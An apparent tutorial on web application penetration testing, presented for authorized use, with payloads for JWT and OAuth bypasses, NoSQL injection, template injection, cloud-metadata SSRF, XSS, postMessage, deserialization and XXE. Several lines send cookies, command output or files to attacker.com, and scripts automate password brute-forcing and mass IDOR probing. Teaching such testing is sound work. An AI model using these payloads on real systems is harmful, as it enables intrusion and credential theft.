Web Application Penetration Testing 2026: Beyond OWASP Top 10

Introduction

The web application landscape has evolved dramatically. Modern applications leverage microservices, serverless architectures, JAMstack frameworks, and complex API ecosystems. Traditional OWASP Top 10 coverage is no longer sufficient for comprehensive security testing.

This guide focuses on advanced exploitation techniques targeting modern web applications, APIs, and authentication mechanisms that penetration testers encounter in 2026. We’ll explore real-world attack vectors that go beyond conventional security assessments.

Legal Notice: All techniques described are for authorized penetration testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.

1. Modern Web Attack Surface Mapping

Subdomain Enumeration & Discovery

Modern applications span multiple subdomains, each potentially hosting different services with varying security postures.

Effective reconnaissance toolchain:

# Passive DNS enumeration
amass enum -passive -d target.com -o subdomains.txt

# Active subdomain bruteforcing
subfinder -d target.com -all -recursive -o active_subs.txt

# DNS resolution validation
dnsx -l subdomains.txt -resp -o resolved.txt

Key targets to identify:

  • API gateways (api., gateway., rest.*)
  • Development/staging environments (dev., staging., test.*)
  • Legacy applications (old., v1., legacy.*)
  • Admin panels (admin., manage., portal.*)

JavaScript Analysis for Hidden Endpoints

Single Page Applications (SPAs) often expose sensitive information in JavaScript bundles.

What to extract:

  • API endpoints buried in minified code
  • Hardcoded API keys and tokens
  • Internal routing structures
  • GraphQL schemas and queries
  • WebSocket endpoints

Manual technique:

# Download all JS files
wget -r -l 1 -H -t 1 -nd -N -np -A.js -erobots=off https://target.com

# Search for API endpoints
grep -r "api\|/v[0-9]\|graphql\|endpoint" *.js

# Extract potential secrets
grep -rE "(api_key|apikey|secret|token|password|aws_access)" *.js

Image suggestion: Attack surface mapping visualization showing subdomain hierarchy and JavaScript file relationships.

API Discovery Techniques

GraphQL Introspection:

GraphQL commonly exposes its entire schema through introspection queries:

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
  }
}

fragment FullType on __Type {
  kind
  name
  fields {
    name
    args {
      name
      type { name kind }
    }
  }
}

If introspection is enabled, you’ve just mapped the entire API structure.

Swagger/OpenAPI Leaks:

Common paths exposing API documentation:

  • /api/swagger.json
  • /api/v1/swagger.json
  • /swagger/v1/swagger.json
  • /api-docs
  • /openapi.json
  • /.well-known/openapi.json

2. API Exploitation Techniques

REST API Exploitation Patterns

Mass Assignment Vulnerabilities:

Modern frameworks automatically bind HTTP parameters to object properties. Attackers can inject unintended fields:

POST /api/users HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@evil.com",
  "isAdmin": true,
  "role": "administrator"
}

Even if isAdmin and role aren’t displayed in the UI, poorly configured APIs may accept them.

IDOR 2.0 - Predictable Resource IDs:

APIs often expose sequential or predictable identifiers:

GET /api/users/1337/profile HTTP/1.1
GET /api/orders/5001/details HTTP/1.1
GET /api/invoices/UUID-HERE/download HTTP/1.1

Test by:

  1. Identifying resource ID patterns (sequential, UUID, base64-encoded)
  2. Attempting horizontal privilege escalation (access other users’ data)
  3. Attempting vertical privilege escalation (access admin resources)

GraphQL-Specific Attack Vectors

Image suggestion: GraphQL query structure example showing nested queries and field exploitation.

Query Batching for Authentication Bypass:

GraphQL allows multiple queries in a single request. This can bypass rate limiting and brute-force protections:

mutation {
  login1: login(username: "admin", password: "pass1") { token }
  login2: login(username: "admin", password: "pass2") { token }
  login3: login(username: "admin", password: "pass3") { token }
  # ... up to 100+ attempts
}

Query Depth Exploitation:

Without proper depth limiting, deeply nested queries can cause DoS:

query {
  user {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts {
                  # ... infinite nesting
                }
              }
            }
          }
        }
      }
    }
  }
}

Alias-Based DoS:

query {
  user1: user(id: 1) { name email }
  user2: user(id: 2) { name email }
  user3: user(id: 3) { name email }
  # ... thousands of aliased queries
}

Field Suggestion Attack:

GraphQL error messages may reveal hidden fields:

query {
  user {
    publicField
    secretAdminField  # Try non-existent fields
  }
}

Error: Field 'secretAdminField' doesn't exist on type 'User'. Did you mean 'adminSecretToken'?

gRPC Enumeration and Exploitation

gRPC APIs are becoming common in microservice architectures. They use Protocol Buffers and are typically harder to test.

Reflection API abuse:

If server reflection is enabled:

# List available services
grpcurl -plaintext target.com:50051 list

# Describe a service
grpcurl -plaintext target.com:50051 describe UserService

# Call a method
grpcurl -plaintext -d '{"user_id": "1"}' target.com:50051 UserService.GetUser

Common gRPC vulnerabilities:

  • Lack of authentication on internal services
  • Exposed reflection API in production
  • Insecure channel communication (no TLS)
  • Authorization bypass on method calls

3. Authentication Bypass Techniques

JWT Token Manipulation

Image suggestion: JWT token structure breakdown showing header, payload, signature components.

Algorithm Confusion Attack (alg: none):

# Original JWT header
{
  "alg": "HS256",
  "typ": "JWT"
}

# Modified header
{
  "alg": "none",
  "typ": "JWT"
}

Encode modified header + payload without signature:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciJ9.

Note the trailing period with no signature.

Algorithm Confusion (HS256 → RS256):

If the server uses RS256 (asymmetric) but accepts HS256 (symmetric), you can sign tokens using the public key:

import jwt

# Public key obtained from /api/publickey or JWT header 'jku' field
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Create malicious token signed with public key as HMAC secret
payload = {
    "user": "admin",
    "role": "administrator"
}

malicious_token = jwt.encode(payload, public_key, algorithm='HS256')

KID (Key ID) Header Injection:

The kid parameter specifies which key to use for verification:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../dev/null"
}

If the application reads the key from a file path, you can point to predictable files:

  • /dev/null (empty key)
  • ../../public/static/logo.png (known file)
  • SQL injection in kid parameter if stored in database

JKU (JSON Web Key Set URL) Exploitation:

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/jwks.json"
}

Host your own JWKS file with a malicious public key, sign the token with your private key.

OAuth 2.0 Flow Exploitation

Redirect URI Manipulation:

GET /oauth/authorize?
  client_id=victim_app&
  redirect_uri=https://attacker.com/callback&
  response_type=code&
  scope=read_profile

If redirect URI validation is weak, authorization codes can be stolen.

Common bypass techniques:

  • Open redirect on trusted domain: redirect_uri=https://trusted.com/redirect?url=https://attacker.com
  • Subdomain wildcards: redirect_uri=https://evil.trusted.com
  • Path traversal: redirect_uri=https://trusted.com/callback/../../attacker.com

State Parameter CSRF:

If state parameter is not validated, attackers can forge OAuth flows and link victim accounts to attacker-controlled accounts.

SAML Assertion Manipulation

SAML uses XML for authentication assertions. XML is notoriously complex to parse securely.

XML Signature Wrapping:

<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature>
      <!-- Valid signature for legitimate assertion -->
    </ds:Signature>
    <saml:Subject>
      <saml:NameID>victim@company.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  
  <saml:Assertion ID="malicious">
    <!-- No signature, but parser may process this first -->
    <saml:Subject>
      <saml:NameID>admin@company.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</saml:Response>

If the parser processes assertions sequentially but signature validation only checks the first signed assertion, the second malicious assertion may be accepted.

4. Injection Techniques 2026

NoSQL Injection Patterns

MongoDB and similar NoSQL databases use JSON-like query syntax, creating new injection vectors.

Authentication bypass:

POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

This query matches any user where username and password are not null.

MongoDB operator injection:

// Vulnerable code
db.users.find({ username: req.body.username, password: req.body.password })

// Attack payload
{
  "username": "admin",
  "password": {"$gt": ""}
}

// Resulting query
db.users.find({ username: "admin", password: {$gt: ""} })
// Matches admin with any password

Array injection for data extraction:

POST /api/search HTTP/1.1

{
  "email": {
    "$regex": "^a.*",
    "$options": "i"
  }
}

Iterate through regex patterns to extract data character by character (boolean-based blind injection in NoSQL).

Server-Side Template Injection (SSTI)

Modern template engines (Jinja2, Twig, Handlebars, Freemarker) can execute arbitrary code if user input is embedded unsafely.

Detection payload:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

Jinja2 exploitation (Python Flask/Django):

{{config.items()}}  # Leak configuration
{{''.__class__.__mro__[1].__subclasses__()}}  # Get object classes

# Remote Code Execution
{{''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read()}}

Twig exploitation (PHP Symfony):

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}

Handlebars exploitation (Node.js):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

SSRF in Cloud Environments

Image suggestion: SSRF cloud metadata exploitation flow showing request chain from vulnerable app to cloud metadata endpoint.

Server-Side Request Forgery is particularly dangerous in cloud environments where metadata services expose sensitive credentials.

AWS Metadata Service (IMDSv1):

# Vulnerable parameter
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Retrieve temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

Azure Metadata Service:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

GCP Metadata Service:

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Bypass techniques for filters:

# DNS rebinding
http://metadata.internal/  # Points to 169.254.169.254

# URL encoding
http://169.254.169.254/ → http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34/

# Decimal IP notation
http://2852039166/latest/meta-data/

# Redirect chains
http://attacker.com/redirect → 169.254.169.254

# IPv6 localhost bypass
http://[::ffff:169.254.169.254]/

5. Client-Side Exploitation

Prototype Pollution in Modern Frameworks

Image suggestion: Prototype pollution chain visualization showing object inheritance and pollution flow.

JavaScript prototype pollution allows attackers to inject properties into Object.prototype, affecting all objects in the application.

Basic pollution example:

// Merge function vulnerability
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Attack payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// All objects now have isAdmin property
const user = {};
console.log(user.isAdmin); // true

Real-world exploitation:

// Vulnerable Express.js application
app.post('/api/settings', (req, res) => {
  merge(userSettings, req.body);
});

// Attack request
POST /api/settings HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "isAdmin": true,
    "permissions": ["read", "write", "delete"]
  }
}

Detection in dependencies:

Many npm packages are vulnerable. Tools like npm audit and manual testing can identify them.

DOM-Based XSS in Single Page Applications

Traditional reflected/stored XSS patterns don’t work well in SPAs. Focus on client-side sinks.

Common sinks:

  • innerHTML
  • outerHTML
  • document.write()
  • eval()
  • Function() constructor
  • setTimeout() / setInterval() with string arguments

React-specific XSS (dangerouslySetInnerHTML):

// Vulnerable component
function UserProfile({ bio }) {
  return <div dangerouslySetInnerHTML={{__html: bio}} />;
}

// Attack payload in bio field
<img src=x onerror="alert(document.cookie)">

Vue.js v-html directive:

<template>
  <div v-html="userContent"></div>
</template>

<!-- Attack -->
userContent = '<img src=x onerror="fetch(\'https://attacker.com?c=\'+document.cookie)">'

PostMessage Exploitation

Modern web apps use postMessage() for cross-origin communication. Insecure implementations create vulnerabilities.

Vulnerable receiver:

window.addEventListener('message', (event) => {
  // No origin check!
  eval(event.data.code);
});

Attack from malicious site:

const targetWindow = window.open('https://vulnerable-app.com');
setTimeout(() => {
  targetWindow.postMessage({
    code: "fetch('https://attacker.com?cookie='+document.cookie)"
  }, '*');
}, 2000);

Bypass techniques for origin validation:

// Weak validation
if (event.origin.endsWith('trusted.com')) {
  // Bypass: attacker.trusted.com or evil-trusted.com
}

if (event.origin.indexOf('trusted.com') !== -1) {
  // Bypass: attacker.com/trusted.com or trustedtrusted.com
}

6. Advanced Exploitation Techniques

Deserialization Vulnerabilities

Python Pickle exploitation:

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl https://attacker.com/$(whoami)',))

payload = base64.b64encode(pickle.dumps(Exploit()))
# Send payload to vulnerable endpoint that unpickles data

Java deserialization (ysoserial):

# Generate payload using ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl https://attacker.com' | base64

# Send in Cookie, Header, or POST data

PHP unserialize():

// Vulnerable code
$data = unserialize($_COOKIE['session']);

// Attack payload (Object Injection)
O:4:"User":2:{s:8:"isAdmin";b:1;s:4:"role";s:13:"administrator";}

XXE (XML External Entity) in API Endpoints

Even though REST APIs primarily use JSON, many still accept XML via Content-Type: application/xml.

Classic XXE (file disclosure):

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxe;</username>
</user>

Blind XXE (OOB data exfiltration):

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "https://attacker.com/evil.dtd">
  %dtd;
  %send;
]>
<user><username>test</username></user>

evil.dtd on attacker server:

<!ENTITY % all "<!ENTITY send SYSTEM 'https://attacker.com/?data=%file;'>">
%all;

SSRF via XXE:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>

Business Logic Vulnerabilities

These are application-specific flaws in workflows and processes.

Race conditions in payment processing:

# Send multiple simultaneous requests to redeem a coupon code
for i in {1..10}; do
  curl -X POST https://target.com/api/redeem \
    -H "Authorization: Bearer $TOKEN" \
    -d '{"coupon": "FREEMONEY"}' &
done

Price manipulation:

POST /api/checkout HTTP/1.1

{
  "items": [
    {
      "id": "premium-product",
      "price": 0.01,  // Modified from 99.99
      "quantity": 1
    }
  ]
}

Workflow bypass:

Normal flow: Create Order → Add Payment → Confirm → Ship
Attack: Create Order → Skip Payment → Force Confirm → Ship

Test by:

  1. Map complete application workflow
  2. Identify required vs. optional steps
  3. Attempt to skip steps or change order
  4. Manipulate state transitions

7. Automation & Tooling

Burp Suite Extensions for Modern Testing

Essential extensions:

  • Autorize: Automated authorization testing
  • JWT Editor: Token manipulation and testing
  • GraphQL Raider: GraphQL-specific attacks
  • Param Miner: Discover hidden parameters
  • Turbo Intruder: High-speed attacks

Custom Python Automation

Mass IDOR testing script:

import requests
import concurrent.futures

def test_idor(user_id):
    url = f"https://target.com/api/users/{user_id}/profile"
    headers = {"Authorization": "Bearer ATTACKER_TOKEN"}
    
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print(f"[+] Access to user {user_id}: {response.json()}")
        return user_id
    return None

# Test 10,000 user IDs concurrently
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    results = executor.map(test_idor, range(1, 10001))
    
vulnerable_ids = [r for r in results if r is not None]
print(f"[!] Found {len(vulnerable_ids)} accessible user profiles")

GraphQL batch query generator:

def generate_batched_login(passwords):
    mutations = []
    for i, password in enumerate(passwords):
        mutations.append(f"""
        login{i}: login(username: "admin", password: "{password}") {{
            token
            success
        }}
        """)
    
    query = "mutation {\n" + "\n".join(mutations) + "\n}"
    return query

# Brute force 1000 passwords in a single request
passwords = open('passwords.txt').read().splitlines()
batched_query = generate_batched_login(passwords[:1000])

Nuclei Templates

Create custom templates for API testing:

id: api-auth-bypass

info:
  name: API Authentication Bypass via Mass Assignment
  severity: high
  
requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/users"
    
    headers:
      Content-Type: application/json
    
    body: |
      {
        "username": "testuser",
        "email": "test@test.com",
        "isAdmin": true,
        "role": "administrator"
      }      
    
    matchers:
      - type: word
        part: body
        words:
          - '"isAdmin":true'
          - '"role":"administrator"'
        condition: and

Run at scale:

nuclei -l targets.txt -t custom-templates/ -o results.txt

8. Practice Environments & Legal Boundaries

Vulnerable Applications for Practice

Modern web app targets:

  • OWASP Juice Shop: Modern MEAN stack with 100+ vulnerabilities
  • DVWA: Classic PHP vulnerabilities
  • WebGoat: Java-based security training
  • HackTheBox / TryHackMe: Real-world scenarios

API-specific practice:

  • crAPI: Completely Ridiculous API (OWASP)
  • VAmPI: Vulnerable API (GraphQL + REST)
  • Pixi: Intentionally vulnerable API

Building Custom Vulnerable APIs

Create realistic practice environments:

# Intentionally vulnerable Flask API
from flask import Flask, request, jsonify
import jwt

app = Flask(__name__)
SECRET_KEY = "weak_secret"

@app.route('/api/login', methods=['POST'])
def login():
    # Vulnerable to NoSQL injection if using MongoDB
    username = request.json.get('username')
    password = request.json.get('password')
    
    # Vulnerable JWT with weak secret
    token = jwt.encode({'user': username}, SECRET_KEY, algorithm='HS256')
    return jsonify({'token': token})

@app.route('/api/user/<user_id>')
def get_user(user_id):
    # Vulnerable to IDOR
    # No authorization check
    user_data = database.get_user(user_id)
    return jsonify(user_data)

if __name__ == '__main__':
    app.run(debug=True)  # Debug mode exposes stack traces

Legal & Ethical Framework

Before testing:

  1. ✅ Obtain written authorization (scope, timeline, systems)
  2. ✅ Define rules of engagement (testing hours, DoS limitations)
  3. ✅ Establish communication channels (emergency contacts)
  4. ✅ Document everything (tools, commands, findings)

Never test:

  • ❌ Systems without explicit written permission
  • ❌ Third-party services integrated with target (without separate authorization)
  • ❌ Production systems without safety measures
  • ❌ Beyond authorized scope

Responsible disclosure:

  • Report findings immediately to client/organization
  • Allow reasonable time for remediation (typically 90 days)
  • Do not publicly disclose without permission
  • Follow coordinated disclosure guidelines

Conclusion

Modern web application security testing requires understanding of:

  • Complex API ecosystems (REST, GraphQL, gRPC)
  • Advanced authentication mechanisms (JWT, OAuth, SAML)
  • Cloud-native architectures and their attack surfaces
  • Client-side frameworks and their unique vulnerabilities
  • Automation and tooling for efficient testing

The techniques covered go beyond traditional OWASP Top 10 and address real-world scenarios encountered in 2026. Continuous learning and hands-on practice in authorized environments are essential for mastering these skills.

Remember: These techniques are powerful and should only be used ethically and legally. Unauthorized testing can result in criminal charges, civil liability, and professional consequences.

Stay curious, stay ethical, and always test responsibly.

Additional Resources

Essential Tools

Web Application Testing:

API Testing:

Reconnaissance:

  • Amass - Attack surface mapping and asset discovery
  • Subfinder - Subdomain discovery tool
  • HTTPX - Fast HTTP toolkit
  • Shodan - Search engine for Internet-connected devices
  • Censys - Internet-wide asset scanning

Authentication & Token Testing:

Burp Suite Extensions:

Practice Environments

Vulnerable Web Applications:

API Practice:

  • crAPI - Completely Ridiculous API (OWASP)
  • VAmPI - Vulnerable API with GraphQL
  • Pixi - Intentionally vulnerable API
  • DVGA - Damn Vulnerable GraphQL Application

Online Labs:

Official Documentation & References

OWASP Resources:

Bug Bounty Platforms & Disclosed Reports:

Security Research & Blogs:

Standards & Best Practices:

Books & Advanced Reading

This article is for educational purposes only. All testing techniques should be performed exclusively in authorized environments with proper permissions.

Related Articles